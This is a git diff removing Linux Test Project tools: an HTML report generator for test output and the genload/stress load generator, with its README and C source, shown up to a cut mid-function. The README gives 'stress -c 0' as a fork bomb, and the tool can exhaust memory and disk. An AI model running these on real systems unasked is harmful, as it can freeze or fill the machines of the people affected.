Ngie Cooper, April 2012 -# - -# XXX: this script doesn't handle items that would be executed via pan with -# /bin/sh properly. -NF && ! /^#/ { - print - if (CHECK_LEVEL == 1 || CHECK_LEVEL == 3) { - s=$1 "_valgrind_memory_leak_check valgrind -q --leak-check=full --trace-children=yes" - for (i = 2; i <= NF; i++) { - s = s " " $i - } - print s - } - if (CHECK_LEVEL == 2 || CHECK_LEVEL == 3) { - s=$1 "_valgrind_thread_concurrency_check valgrind -q --tool=helgrind --trace-children=yes" - for (i = 2; i <= NF; i++) { - s = s " " $i - } - print s - } -} diff --git a/ltp/tools/genhtml.pl b/ltp/tools/genhtml.pl deleted file mode 100644 index 79c178d0..00000000 --- a/ltp/tools/genhtml.pl +++ /dev/null @@ -1,249 +0,0 @@ -#!/usr/bin/perl -#****************************************************************************# -# Copyright (c) International Business Machines Corp., 2001 # -# # -# This program is free software; you can redistribute it an#or modify # -# it under the terms of the GNU General Public License as published by # -# the Free Software Foundation; either version 2 of the License, or # -# (at your option) any later version. # -# # -# This program is distributed in the hope that it will be useful, # -# but WITHOUT ANY WARRANTY; without even the implied warranty of # -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See # -# the GNU General Public License for more details. # -# # -# You should have received a copy of the GNU General Public License # -# along with this program; if not, write to the Free Software # -# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA # -# # -#****************************************************************************# - -#****************************************************************************# -# # -# File: genhtml.pl # -# # -# Description: This is a Parser which can parse the text output generated by # -# pan and convert the same to am HTML format, with proper high- # -# lighting of test result backgorund for easy identification of # -# pass/fail of testcases # -# # -# Author: Subrata Modak: subrata@linux.vnet.ibm.com # -# # -# # -#****************************************************************************# - - -my $process_line = 0; -my $row_line = ""; -my $flag = 0; -my $flag2 = 0; -my $flag3 = 0; -my $flag4 = 0; -my $test_counter = 1; -my $failed_test_counter = 0; -my $failed_test_counter_flag = 0; -my $brok_test_counter = 0; -my $brok_test_counter_flag = 0; -my $warn_test_counter = 0; -my $warn_test_counter_flag = 0; -my $retr_test_counter = 0; -my $retr_test_counter_flag = 0; -my $conf_test_counter = 0; -my $conf_test_counter_flag = 0; -my $test_passed = 0; - -my $detected_fail = 0; -my $detected_pass = 0; -my $detected_warn = 0; -my $detected_brok = 0; -my $detected_retr = 0; -my $detected_conf = 0; -my $background_colour =0; - -my $header_file = shift (@ARGV) || syntax(); -my $start_tag = shift (@ARGV) || syntax(); -my $end_tag = shift (@ARGV) || syntax(); -my $output_tag = shift (@ARGV) || syntax(); -my $execution_tag = shift (@ARGV) || syntax(); - -sub syntax() { - print "syntax: prtag2tag start_tag end_tag output_tag execution_tag file(s)\n"; - exit (1); -} - -sub get_background_colour_column() { - if ( $detected_fail == 1 ) { - return "#ff0000"; - } elsif ( $detected_brok == 1 ) { - return Yellow; - } elsif ( $detected_warn == 1 ) { - return Fuchsia; - } elsif ( $detected_retr == 1 ) { - return "#8dc997"; - } elsif ( $detected_conf == 1 ) { - return Aqua; - } else { - return "#66ff66"; - } -} - -print STDERR "-------------------------------------------------\n"; -print STDERR "INFO: genhtml.pl script is deprecated, try kirk\n"; -print STDERR "(new LTP runner which also generates JSON output)\n"; -print STDERR "https://github.com/linux-test-project/kirk\n"; -print STDERR "-------------------------------------------------\n"; - -if ($start_tag eq "" || $end_tag eq "" || $output_tag eq "" || $execution_tag eq "") { - syntax(); -} - -open (FILE, "$header_file") || "Cannot open file: $header_file"; -while ($line_2 = <FILE>) { - $row_line = $row_line . $line_2; -} -$row_line =~ s/LTP\ Output\/Log/LTP\ Output\/Log\ (Report\ Generated\ on\ $ENV{TEST_START_TIME})/; -print $row_line; -close (FILE); -$row_line = ""; - - -foreach my $file (@ARGV) { - - open (FILE, $file) || die "Cannot open file: $file\n"; - - LINE: while ($line = <FILE>) { - chomp $line; - - if ($line =~ /$start_tag/) { - $process_line = 1; - $flag = 1; - } - if ($line =~ /$end_tag/) { - print "$row_line"; - $process_line = 0; - $flag = 0; $flag2 = 0; $flag3 = 0; $flag4 = 0; $flag5 = 0; - $detected_fail = 0; $detected_pass = 0; $detected_warn = 0; $detected_brok = 0; $detected_retr = 0; $detected_conf = 0; - $background_colour = 0; $failed_test_counter_flag = 0; $brok_test_counter_flag = 0; $warn_test_counter_flag = 0; $retr_test_counter_flag = 0; $conf_test_counter_flag = 0; $row_line= ""; - } - - if ($process_line) { - if ( $flag == 2) { #Assuming we will find "tag" and "stime" values here - @variable_value_pair = split(/\ /, $line); - @tag_value = split(/=/,$variable_value_pair[0]); - @stime_value = split(/=/,$variable_value_pair[1]); - $row_line = $row_line . "<tr><td><p><strong>$test_counter</strong></p></td>\n" . - "<td><p><strong>$tag_value[1]</strong></p></td>\n" . - "<td><p><pre><strong>"; - $get_proper_time = localtime ($stime_value[1]); - $row_line = $row_line . "$get_proper_time" . "</strong></pre></p></td>\n"; - $test_counter++; - } - if ( $flag == 3) { #Assuming we will find "cmdling" value here - @variable_value_pair = split(/=/, $line); - $row_line = $row_line . "<td><p><strong> $variable_value_pair[1] </strong></p></td>\n"; - } - if ( $flag == 4) { #Assuming we will find "contact" value here - @variable_value_pair = split(/=/, $line); - $row_line = $row_line . "<td><p><strong>$variable_value_pair[1]</strong></p></td>\n"; - } - if ( $flag == 5) { #Assuming we will find "analysis" value here - @variable_value_pair = split(/=/, $line); - $row_line = $row_line . "<td><p><strong>$variable_value_pair[1]</strong></p></td>\n"; - } - if ( $flag3 == 1 ) { - if ( $flag4 == 1 ) { - @variable_value_pair = split(/=/, $line); - $row_line = $row_line . "<td><p><strong>$variable_value_pair[1]</strong></p></td>\n"; - } - if ( $flag4 == 2 ) { - @variable_value_pair = split(/\ /, $line); - @duration_value = split(/=/, $variable_value_pair[0]); - @termination_type_value = split(/=/, $variable_value_pair[1]); - @termination_id_value = split(/=/, $variable_value_pair[2]); - @corefile_value = split(/=/, $variable_value_pair[3]); - $background_colour = get_background_colour_column(); - $row_line = $row_line . "<td><p><strong>$duration_value[1]</strong></p></td>\n" . - "<td><p><strong>$termination_type_value[1]<strong></p></td>\n" . - "<td><p><strong>$termination_id_value[1]</strong></p></td>\n" . - "<td><p><strong>$corefile_value[1]</strong></p></td>\n"; - $row_line =~ s/<tr>/<tr\ bgcolor=$background_colour>/; - $flag4++; - } - if ( $flag4 == 3 ) { - @variable_value_pair = split(/\ /, $line); - @cutime_value = split(/=/, $variable_value_pair[0]); - @cstime_value = split(/=/, $variable_value_pair[1]); - $row_line = $row_line . "<td><p><strong>$cutime_value[1]</strong></p></td>\n" . - "<td><p><strong>$cstime_value[1]</strong></p></td></tr>\n"; - } - } - if ( $line =~ /$execution_tag/ ) { - $flag2 = 0; - $flag3 = 1; - $flag4 = 1; - $flag5 = 1; - $row_line = $row_line . "</strong></pre></td>"; - } - if ( $flag2 == 1 ) { - $row_line = $row_line . "$line \n"; - } - if ( $flag5 == 1 ) { - if ($line =~ "termination_id=1" ) { - $detected_fail = 1; - $failed_test_counter++; - $flag4 = 2; - } elsif ($line =~ "termination_id=2" ) { - $detected_brok = 1; - $brok_test_counter++; - $flag4 = 2; - } elsif ($line =~ "termination_id=4" ) { - $detected_warn = 1; - $warn_test_counter++; - $flag4 = 2; - } elsif ($line =~ "termination_id=32" ) { - $detected_conf = 1; - $conf_test_counter++; - $flag4 = 2; - } elsif ($line =~ "termination_id=0" ) { - $detected_pass = 1; - $test_passed++; - $flag4 = 2; - } - } - if ( $line =~ /$output_tag/ ) { - $flag2 = 1; - $row_line = $row_line . "<td><pre><strong>"; - } - $flag++; - } - } - close (FILE); -} - -print "</tbody></table></div> \n\n<h2 id=\"_2\">Summary Report</h2>\n\n<div>\n\n<table border=\"1\" cellspacing=\"3\"><tbody>\n<tr>\n<td "; -if ($ENV{LTP_EXIT_VALUE} == 1 ) { - print "bgcolor=\"#ff0000\"> <strong>Test Summary</strong></p></td><td bgcolor=\"#ff0000\"><strong>Pan reported some Tests FAIL</strong></p></td></tr>\n"; -} -else { - print "bgcolor=\"#66ff66\"> <strong>Test Summary</strong></p></td><td bgcolor=\"#66ff66\"><strong>Pan reported all Test Pass</strong></p></td></tr>\n"; -} - -print "<tr><td><strong>LTP Version</strong> </td><td><strong> $ENV{LTP_VERSION} </strong></td></tr>\n"; -print "<tr><td><strong>Start Time</strong> </td><td><strong> $ENV{TEST_START_TIME} </strong></td></tr>\n"; -print "<tr><td><strong>End Time</strong> </td><td><strong> $ENV{TEST_END_TIME} </strong></td></tr>\n"; -print "<tr><td><strong>Log Result</strong> </td><td><a href=\"file://$ENV{TEST_LOGS_DIRECTORY}/\"> <strong>$ENV{TEST_LOGS_DIRECTORY}</strong></a></td></tr>\n"; -print "<tr><td><strong>Output/Failed Result</strong></td><td><a href=\"file://$ENV{TEST_OUTPUT_DIRECTORY}/\"> <strong>$ENV{TEST_OUTPUT_DIRECTORY}</strong></a></td></tr>\n"; -print "<tr><td><strong>Total Tests</strong></td><td><strong>"; -$test_counter--; -print "$test_counter </strong></td></tr>\n"; -$test_passed=$test_counter-$failed_test_counter-$brok_test_counter-$warn_test_counter-$retr_test_counter-$conf_test_counter; -print "<tr><td><strong>Total Test TPASS:</strong></td><td><strong> $test_passed </strong></td></tr>\n"; -print "<tr><td><strong>Total Test TFAIL:</strong></td><td><strong> $failed_test_counter </strong></td></tr>\n"; -print "<tr><td><strong>Total Test TBROK</strong></td><td><strong> $brok_test_counter </strong></td></tr>\n"; -print "<tr><td><strong>Total Test TWARN</strong></td><td><strong> $warn_test_counter </strong></td></tr>\n"; -print "<tr><td><strong>Total Test TCONF</strong></td><td><strong> $conf_test_counter </strong></td></tr>\n"; -print "<tr><td><strong>Kernel Version</strong></td><td><strong> $ENV{KERNEL_VERSION} </strong></td></tr>\n"; -print "<tr><td><strong>Machine Architecture</strong></td><td><strong> $ENV{MACHINE_ARCH} </strong></td></tr>\n"; -print "<tr><td><strong>Hostname</strong> </td> <td><strong>"; -$hostname=system("uname -n"); chop($hostname); -print " $hostname </strong></td></tr></tbody></table></div></body></html>\n"; diff --git a/ltp/tools/genload/.gitignore b/ltp/tools/genload/.gitignore deleted file mode 100644 index b89b3674..00000000 --- a/ltp/tools/genload/.gitignore +++ /dev/null @@ -1,2 +0,0 @@ -genload -stress diff --git a/ltp/tools/genload/Makefile b/ltp/tools/genload/Makefile deleted file mode 100644 index 8bf4d275..00000000 --- a/ltp/tools/genload/Makefile +++ /dev/null @@ -1,31 +0,0 @@ -# -# tools/genload Makefile. -# -# Copyright (C) 2009, Cisco Systems Inc. -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License along -# with this program; if not, write to the Free Software Foundation, Inc., -# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. -# -# Ngie Cooper, July 2009 -# - -top_srcdir ?= ../.. - -include $(top_srcdir)/include/mk/env_pre.mk - -CFLAGS += -DPACKAGE=\"stress\" -DVERSION=\"0.17pre11\" - -LDLIBS += -lm - -include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/ltp/tools/genload/README b/ltp/tools/genload/README deleted file mode 100644 index 7ea37f66..00000000 --- a/ltp/tools/genload/README +++ /dev/null @@ -1,72 +0,0 @@ -USAGE - -See the program's usage statement by invoking with --help. - -NOTES - -This program works really well for me, but it might not have some of the -features that you want. If you would like, please extend the code and send -me the patch[1]. Enjoy the program :-) - -Please use the context diff format. That is: save the original program -as stress.c.orig, then make and test your desired changes to stress.c, then -run 'diff -u stress.c.orig stress.c' to produce a context patch. Thanks. - -Amos Waterland <apw@rossby.metr.ou.edu> -Norman, Oklahoma -27 Nov 2001 - -EXAMPLES -[examples] - -The simple case is that you just want to bring the system load average up to -an arbitrary value. The following forks 13 processes, each of which spins -in a tight loop calculating the sqrt() of a random number acquired with -rand(). - - % stress -c 13 - -Long options are supported, as well as is making the output less verbose. -The following forks 1024 processes, and only reports error messages if any. - - % stress --quiet --hogcpu 1k - -To see how your system performs when it is I/O bound, use the -i switch. -The following forks 4 processes, each of which spins in a tight loop calling -sync(), which is a system call that flushes memory buffers to disk. - - % stress -i 4 - -Multiple hogs may be combined on the same command line. The following does -everything the preceding examples did in one command, but also turns up the -verbosity level as well as showing how to cause the command to -self-terminate after 1 minute. - - % stress -c 13 -i 4 --verbose --timeout 1m - -An value of 0 normally denotes infinity. The following is how to do a fork -bomb (be careful with this). - - % stress -c 0 - -For the -m and -d options, a value of 0 means to redo their operation an -infinite number of times. To allocate and free 128MB in a redo loop use the -following command. This can be useful for "bouncing" against the system RAM -ceiling. - - % stress -m 0 --hogvm-bytes 128M - -For the -m and -d options, a negative value of n means to redo the operation -abs(n) times. Here is now to allocate and free 5MB three times in a row. - - % stress -m -3 --hogvm-bytes 5m - -You can write a file of arbitrary length to disk. The file is created with -mkstemp() in the current directory, the default is to unlink it, but -unlinking can be overridden with the --hoghdd-noclean flag. - - % stress -d 1 --hoghdd-noclean --hoghdd-bytes 13 - -Large file support is enabled. - - % stress -d 1 --hoghdd-noclean --hoghdd-bytes 3G diff --git a/ltp/tools/genload/genload.c b/ltp/tools/genload/genload.c deleted file mode 100644 index a19d519f..00000000 --- a/ltp/tools/genload/genload.c +++ /dev/null @@ -1,898 +0,0 @@ -/* A program to put stress on a POSIX system (stress). - * - * Copyright (C) 2001, 2002 Amos Waterland <awaterl@yahoo.com> - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of the GNU General Public License as published by the Free - * Software Foundation; either version 2 of the License, or (at your option) - * any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT - * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or - * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for - * more details. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write to the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - */ - -#include <ctype.h> -#include <errno.h> -#include <libgen.h> -#include <math.h> -#include <stdio.h> -#include <stdlib.h> -#include <string.h> -#include <signal.h> -#include <time.h> -#include <unistd.h> -#include <sys/wait.h> - -/* By default, print all messages of severity info and above. */ -static int global_debug = 2; - -/* By default, just print warning for non-critical errors. */ -static int global_ignore = 1; - -/* By default, retry on non-critical errors every 50ms. */ -static int global_retry = 50000; - -/* By default, use this as backoff coefficient for good fork throughput. */ -static int global_backoff = 3000; - -/* By default, do not timeout. */ -static int global_timeout = 0; - -/* Name of this program */ -static char *global_progname = PACKAGE; - -/* By default, do not hang after allocating memory. */ -static int global_vmhang = 0; - -/* Implemention of runtime-selectable severity message printing. */ -#define dbg if (global_debug >= 3) \ - fprintf (stdout, "%s: debug: (%d) ", global_progname, __LINE__), \ - fprintf -#define out if (global_debug >= 2) \ - fprintf (stdout, "%s: info: ", global_progname), \ - fprintf -#define wrn if (global_debug >= 1) \ - fprintf (stderr, "%s: warn: (%d) ", global_progname, __LINE__), \ - fprintf -#define err if (global_debug >= 0) \ - fprintf (stderr, "%s: error: (%d) ", global_progname, __LINE__), \ - fprintf - -/* Implementation of check for option argument correctness. */ -#define assert_arg(A) \ - if (++i == argc || ((arg = argv[i])[0] == '-' && \ - !isdigit ((int)arg[1]) )) \ - { \ - err (stderr, "missing argument to option '%s'\n", A); \ - exit (1); \ - } - -/* Prototypes for utility functions. */ -int usage(int status); -int version(int status); -long long atoll_s(const char *nptr); -long long atoll_b(const char *nptr); - -/* Prototypes for the worker functions. */ -int hogcpu(long long forks); -int hogio(long long forks); -int hogvm(long long forks, long long chunks, long long bytes); -int hoghdd(long long forks, int clean, long long files, long long bytes); - -int main(int argc, char **argv) -{ - int i, pid, children = 0, retval = 0; - long starttime, stoptime, runtime; - - /* Variables that indicate which options have been selected. */ - int do_dryrun = 0; - int do_timeout = 0; - int do_cpu = 0; /* Default to 1 fork. */ - long long do_cpu_forks = 1; - int do_io = 0; /* Default to 1 fork. */ - long long do_io_forks = 1; - int do_vm = 0; /* Default to 1 fork, 1 chunk of 256MB. */ - long long do_vm_forks = 1; - long long do_vm_chunks = 1; - long long do_vm_bytes = 256 * 1024 * 1024; - int do_hdd = 0; /* Default to 1 fork, clean, 1 file of 1GB. */ - long long do_hdd_forks = 1; - int do_hdd_clean = 0; - long long do_hdd_files = 1; - long long do_hdd_bytes = 1024 * 1024 * 1024; - - /* Record our start time. */ - if ((starttime = time(NULL)) == -1) { - err(stderr, "failed to acquire current time\n"); - exit(1); - } - - /* SuSv3 does not define any error conditions for this function. */ - global_progname = basename(argv[0]); - - /* For portability, parse command line options without getopt_long. */ - for (i = 1; i < argc; i++) { - char *arg = argv[i]; - - if (strcmp(arg, "--help") == 0 || strcmp(arg, "-?") == 0) { - usage(0); - } else if (strcmp(arg, "--version") == 0) { - version(0); - } else if (strcmp(arg, "--verbose") == 0 - || strcmp(arg, "-v") == 0) { - global_debug = 3; - } else if (strcmp(arg, "--quiet") == 0 - || strcmp(arg, "-q") == 0) { - global_debug = 0; - } else if (strcmp(arg, "--dry-run") == 0 - || strcmp(arg, "-n") == 0) { - do_dryrun = 1; - } else if (strcmp(arg, "--no-retry") == 0) { - global_ignore = 0; - dbg(stdout, - "turning off ignore of non-critical errors"); - } else if (strcmp(arg, "--retry-delay") == 0) { - assert_arg("--retry-delay"); - global_retry = atoll(arg); - dbg(stdout, "setting retry delay to %dus\n", - global_retry); - } else if (strcmp(arg, "--backoff") == 0) { - assert_arg("--backoff"); - global_backoff = atoll(arg); - if (global_backoff < 0) { - err(stderr, "invalid backoff factor: %i\n", - global_backoff); - exit(1); - } - dbg(stdout, "setting backoff coeffient to %dus\n", - global_backoff); - } else if (strcmp(arg, "--timeout") == 0 - || strcmp(arg, "-t") == 0) { - do_timeout = 1; - assert_arg("--timeout"); - global_timeout = atoll_s(arg); - dbg(stdout, "setting timeout to %ds\n", global_timeout); - } else if (strcmp(arg, "--cpu") == 0 || strcmp(arg, "-c") == 0) { - do_cpu = 1; - assert_arg("--cpu"); - do_cpu_forks = atoll_b(arg); - } else if (strcmp(arg, "--io") == 0 || strcmp(arg, "-i") == 0) { - do_io = 1; - assert_arg("--io"); - do_io_forks = atoll_b(arg); - } else if (strcmp(arg, "--vm") == 0 || strcmp(arg, "-m") == 0) { - do_vm = 1; - assert_arg("--vm"); - do_vm_forks = atoll_b(arg); - } else if (strcmp(arg, "--vm-chunks") == 0) { - assert_arg("--vm-chunks"); - do_vm_chunks = atoll_b(arg); - } else if (strcmp(arg, "--vm-bytes") == 0) { - assert_arg("--vm-bytes"); - do_vm_bytes = atoll_b(arg); - } else if (strcmp(arg, "--vm-hang") == 0) { - global_vmhang = 1; - } else if (strcmp(arg, "--hdd") == 0 || strcmp(arg, "-d") == 0) { - do_hdd = 1; - assert_arg("--hdd"); - do_hdd_forks = atoll_b(arg); - } else if (strcmp(arg, "--hdd-noclean") == 0) { - do_hdd_clean = 2; - } else if (strcmp(arg, "--hdd-files") == 0) { - assert_arg("--hdd-files"); - do_hdd_files = atoll_b(arg); - } else if (strcmp(arg, "--hdd-bytes") == 0) { - assert_arg("--hdd-bytes"); - do_hdd_bytes = atoll_b(arg); - } else { - err(stderr, "unrecognized option: %s\n", arg); - exit(1); - } - } - - /* Hog CPU option. */ - if (do_cpu) { - out(stdout, "dispatching %lli hogcpu forks\n", do_cpu_forks); - - switch (pid = fork()) { - case 0: /* child */ - if (do_dryrun) - exit(0); - exit(hogcpu(do_cpu_forks)); - case -1: /* error */ - err(stderr, "hogcpu dispatcher fork failed\n"); - exit(1); - default: /* parent */ - children++; - dbg(stdout, "--> hogcpu dispatcher forked (%i)\n", pid); - } - } - - /* Hog I/O option. */ - if (do_io) { - out(stdout, "dispatching %lli hogio forks\n", do_io_forks); - - switch (pid = fork()) { - case 0: /* child */ - if (do_dryrun) - exit(0); - exit(hogio(do_io_forks)); - case -1: /* error */ - err(stderr, "hogio dispatcher fork failed\n"); - exit(1); - default: /* parent */ - children++; - dbg(stdout, "--> hogio dispatcher forked (%i)\n", pid); - } - } - - /* Hog VM option. */ - if (do_vm) { - out(stdout, - "dispatching %lli hogvm forks, each %lli chunks of %lli bytes\n", - do_vm_forks, do_vm_chunks, do_vm_bytes); - - switch (pid = fork()) { - case 0: /* child */ - if (do_dryrun) - exit(0); - exit(hogvm(do_vm_forks, do_vm_chunks, do_vm_bytes)); - case -1: /* error */ - err(stderr, "hogvm dispatcher fork failed\n"); - exit(1); - default: /* parent */ - children++; - dbg(stdout, "--> hogvm dispatcher forked (%i)\n", pid); - } - } - - /* Hog HDD option. */ - if (do_hdd) { - out(stdout, "dispatching %lli hoghdd forks, each %lli files of " - "%lli bytes\n", do_hdd_forks, do_hdd_files, do_hdd_bytes); - - switch (pid = fork()) { - case 0: /* child */ - if (do_dryrun) - exit(0); - exit(hoghdd - (do_hdd_forks, do_hdd_clean, do_hdd_files, - do_hdd_bytes)); - case -1: /* error */ - err(stderr, "hoghdd dispatcher fork failed\n"); - exit(1); - default: /* parent */ - children++; - dbg(stdout, "--> hoghdd dispatcher forked (%i)\n", pid); - } - } - - /* We have no work to do, so bail out. */ - if (children == 0) - usage(0); - - /* Wait for our children to exit. */ - while (children) { - int status, ret; - - if ((pid = wait(&status)) > 0) { - if ((WIFEXITED(status)) != 0) { - if ((ret = WEXITSTATUS(status)) != 0) { - err(stderr, - "dispatcher %i returned error %i\n", - pid, ret); - retval += ret; - } else { - dbg(stdout, - "<-- dispatcher return (%i)\n", - pid); - } - } else { - err(stderr, - "dispatcher did not exit normally\n"); - ++retval; - } - - --children; - } else { - dbg(stdout, "wait() returned error: %s\n", - strerror(errno)); - err(stderr, "detected missing dispatcher children\n"); - ++retval; - break; - } - } - - /* Record our stop time. */ - if ((stoptime = time(NULL)) == -1) { - err(stderr, "failed to acquire current time\n"); - exit(1); - } - - /* Calculate our runtime. */ - runtime = stoptime - starttime; - - /* Print final status message. */ - if (retval) { - err(stderr, "failed run completed in %lis\n", runtime); - } else { - out(stdout, "successful run completed in %lis\n", runtime); - } - - exit(retval); -} - -int usage(int status) -{ - char *mesg = - "`%s' imposes certain types of compute stress on your system\n\n" - "Usage: %s [OPTION [ARG]] ...\n\n" - " -?, --help show this help statement\n" - " --version show version statement\n" - " -v, --verbose be verbose\n" - " -q, --quiet be quiet\n" - " -n, --dry-run show what would have been done\n" - " --no-retry exit rather than retry non-critical errors\n" - " --retry-delay n wait n us before continuing past error\n" - " -t, --timeout n timeout after n seconds\n" - " --backoff n wait for factor of n us before starting work\n" - " -c, --cpu n spawn n procs spinning on sqrt()\n" - " -i, --io n spawn n procs spinning on sync()\n" - " -m, --vm n spawn n procs spinning on malloc()\n" - " --vm-chunks c malloc c chunks (default is 1)\n" - " --vm-bytes b malloc chunks of b bytes (default is 256MB)\n" - " --vm-hang hang in a sleep loop after memory allocated\n" - " -d, --hdd n spawn n procs spinning on write()\n" - " --hdd-noclean do not unlink file to which random data written\n" - " --hdd-files f write to f files (default is 1)\n" - " --hdd-bytes b write b bytes (default is 1GB)\n\n" - "Infinity is denoted with 0. For -m, -d: n=0 means infinite redo,\n" - "n<0 means redo abs(n) times. Valid suffixes are m,h,d,y for time;\n" - "k,m,g for size.\n\n"; - - fprintf(stdout, mesg, global_progname, global_progname); - - if (status <= 0) - exit(-1 * status); - - return 0; -} - -int version(int status) -{ - char *mesg = "%s %s\n"; - - fprintf(stdout, mesg, global_progname, VERSION); - - if (status <= 0) - exit(-1 * status); - - return 0; -} - -/* Convert a string representation of a number with an optional size suffix - * to a long long. - */ -long long atoll_b(const char *nptr) -{ - int pos; - char suffix; - long long factor = 1; - - if ((pos = strlen(nptr) - 1) < 0) { - err(stderr, "invalid string\n"); - exit(1); - } - - switch (suffix = nptr[pos]) { - case 'k': - case 'K': - factor = 1024; - break; - case 'm': - case 'M': - factor = 1024 * 1024; - break; - case 'g': - case 'G': - factor = 1024 * 1024 * 1024; - break; - default: - if (suffix < '0' || suffix > '9') { - err(stderr, "unrecognized suffix: %c\n", suffix); - exit(1); - } - } - - factor = atoll(nptr) * factor; - - return factor; -} - -/* Convert a string representation of a number with an optional time suffix - * to a long long. - */ -long long atoll_s(const char *nptr) -{ - int pos; - char suffix; - long long factor = 1; - - if ((pos = strlen(nptr) - 1) < 0) { - err(stderr, "invalid string\n"); - exit(1); - } - - switch (suffix = nptr[pos]) { - case 's': - case 'S': - factor = 1; - break; - case 'm': - case 'M': - factor = 60; - break; - case 'h': - case 'H': - factor = 60 * 60; - break; - case 'd': - case 'D': - factor = 60 * 60 * 24; - break; - case 'y': - case 'Y': - factor = 60 * 60 * 24 * 360; - break; - default: - if (suffix < '0' || suffix > '9') { - err(stderr, "unrecognized suffix: %c\n", suffix); - exit(1); - } - } - - factor = atoll(nptr) * factor; - - return factor; -} - -int hogcpu(long long forks) -{ - long long i; - double d; - int pid, retval = 0; - - /* Make local copies of global variables. */ - int ignore = global_ignore; - int retry = global_retry; - int timeout = global_timeout; - long backoff = global_backoff * forks; - - dbg(stdout, "using backoff sleep of %lius for hogcpu\n", backoff); - - for (i = 0; forks == 0 || i < forks; i++) { - switch (pid = fork()) { - case 0: /* child */ - alarm(timeout); - - /* Use a backoff sleep to ensure we get good fork throughput. */ - usleep(backoff); - - while (1) - d = sqrt(rand()); - - /* This case never falls through; alarm signal can cause exit. */ - case -1: /* error */ - if (ignore) { - ++retval; - wrn(stderr, - "hogcpu worker fork failed, continuing\n"); - usleep(retry); - continue; - } - - err(stderr, "hogcpu worker fork failed\n"); - return 1; - default: /* parent */ - dbg(stdout, "--> hogcpu worker forked (%i)\n", pid); - } - } - - /* Wait for our children to exit. */ - while (i) { - int status, ret; - - if ((pid = wait(&status)) > 0) { - if ((WIFEXITED(status)) != 0) { - if ((ret = WEXITSTATUS(status)) != 0) { - err(stderr, - "hogcpu worker %i exited %i\n", pid, - ret); - retval += ret; - } else { - dbg(stdout, - "<-- hogcpu worker exited (%i)\n", - pid); - } - } else { - dbg(stdout, - "<-- hogcpu worker signalled (%i)\n", pid); - } - - --i; - } else { - dbg(stdout, "wait() returned error: %s\n", - strerror(errno)); - err(stderr, - "detected missing hogcpu worker children\n"); - ++retval; - break; - } - } - - return retval; -} - -int hogio(long long forks) -{ - long long i; - int pid, retval = 0; - - /* Make local copies of global variables. */ - int ignore = global_ignore; - int retry = global_retry; - int timeout = global_timeout; - long backoff = global_backoff * forks; - - dbg(stdout, "using backoff sleep of %lius for hogio\n", backoff); - - for (i = 0; forks == 0 || i < forks; i++) { - switch (pid = fork()) { - case 0: /* child */ - alarm(timeout); - - /* Use a backoff sleep to ensure we get good fork throughput. */ - usleep(backoff); - - while (1) - sync(); - - /* This case never falls through; alarm signal can cause exit. */ - case -1: /* error */ - if (ignore) { - ++retval; - wrn(stderr, - "hogio worker fork failed, continuing\n"); - usleep(retry); - continue; - } - - err(stderr, "hogio worker fork failed\n"); - return 1; - default: /* parent */ - dbg(stdout, "--> hogio worker forked (%i)\n", pid); - } - } - - /* Wait for our children to exit. */ - while (i) { - int status, ret; - - if ((pid = wait(&status)) > 0) { - if ((WIFEXITED(status)) != 0) { - if ((ret = WEXITSTATUS(status)) != 0) { - err(stderr, - "hogio worker %i exited %i\n", pid, - ret); - retval += ret; - } else { - dbg(stdout, - "<-- hogio worker exited (%i)\n", - pid); - } - } else { - dbg(stdout, "<-- hogio worker signalled (%i)\n", - pid); - } - - --i; - } else { - dbg(stdout, "wait() returned error: %s\n", - strerror(errno)); - err(stderr, "detected missing hogio worker children\n"); - ++retval; - break; - } - } - - return retval; -} - -int hogvm(long long forks, long long chunks, long long bytes) -{ - long long i, j, k; - int pid, retval = 0; - char **ptr; - - /* Make local copies of global variables. */ - int ignore = global_ignore; - int retry = global_retry; - int timeout = global_timeout; - long backoff = global_backoff * forks; - - dbg(stdout, "using backoff sleep of %lius for hogvm\n", backoff); - - if (bytes == 0) { - /* 512MB is guess at the largest value can than be malloced at once. */ - bytes = 512 * 1024 * 1024; - } - - for (i = 0; forks == 0 || i < forks; i++) { - switch (pid = fork()) { - case 0: /* child */ - alarm(timeout); - - /* Use a backoff sleep to ensure we get good fork throughput. */ - usleep(backoff); - - /* If chunks is 0, ptr will allocate 0 bytes's - * memory, it will cause the process to crash - * during runtime, so adjust to 1 */ - if (chunks == 0) - chunks = 1; - - while (1) { - ptr = (char **)malloc(chunks * - sizeof(char *)); - for (j = 0; j < chunks; j++) { - if ((ptr[j] = - (char *)malloc(bytes * - sizeof(char)))) { - for (k = 0; k < bytes; k++) - ptr[j][k] = 'Z'; /* Ensure that COW happens. */ - dbg(stdout, - "hogvm worker malloced %lli bytes\n", - k); - } else if (ignore) { - ++retval; - wrn(stderr, - "hogvm malloc failed, continuing\n"); - usleep(retry); - continue; - } else { - ++retval; - err(stderr, - "hogvm malloc failed\n"); - break; - } - } - if (global_vmhang && retval == 0) { - dbg(stdout, - "sleeping forever with allocated memory\n"); - while (1) - sleep(1024); - } - if (retval == 0) { - dbg(stdout, - "hogvm worker freeing memory and starting over\n"); - for (j = 0; j < chunks; j++) - free(ptr[j]); - free(ptr); - continue; - } - - exit(retval); - } - - /* This case never falls through; alarm signal can cause exit. */ - case -1: /* error */ - if (ignore) { - ++retval; - wrn(stderr, - "hogvm worker fork failed, continuing\n"); - usleep(retry); - continue; - } - - err(stderr, "hogvm worker fork failed\n"); - return 1; - default: /* parent */ - dbg(stdout, "--> hogvm worker forked (%i)\n", pid); - } - } - - /* Wait for our children to exit. */ - while (i) { - int status, ret; - - if ((pid = wait(&status)) > 0) { 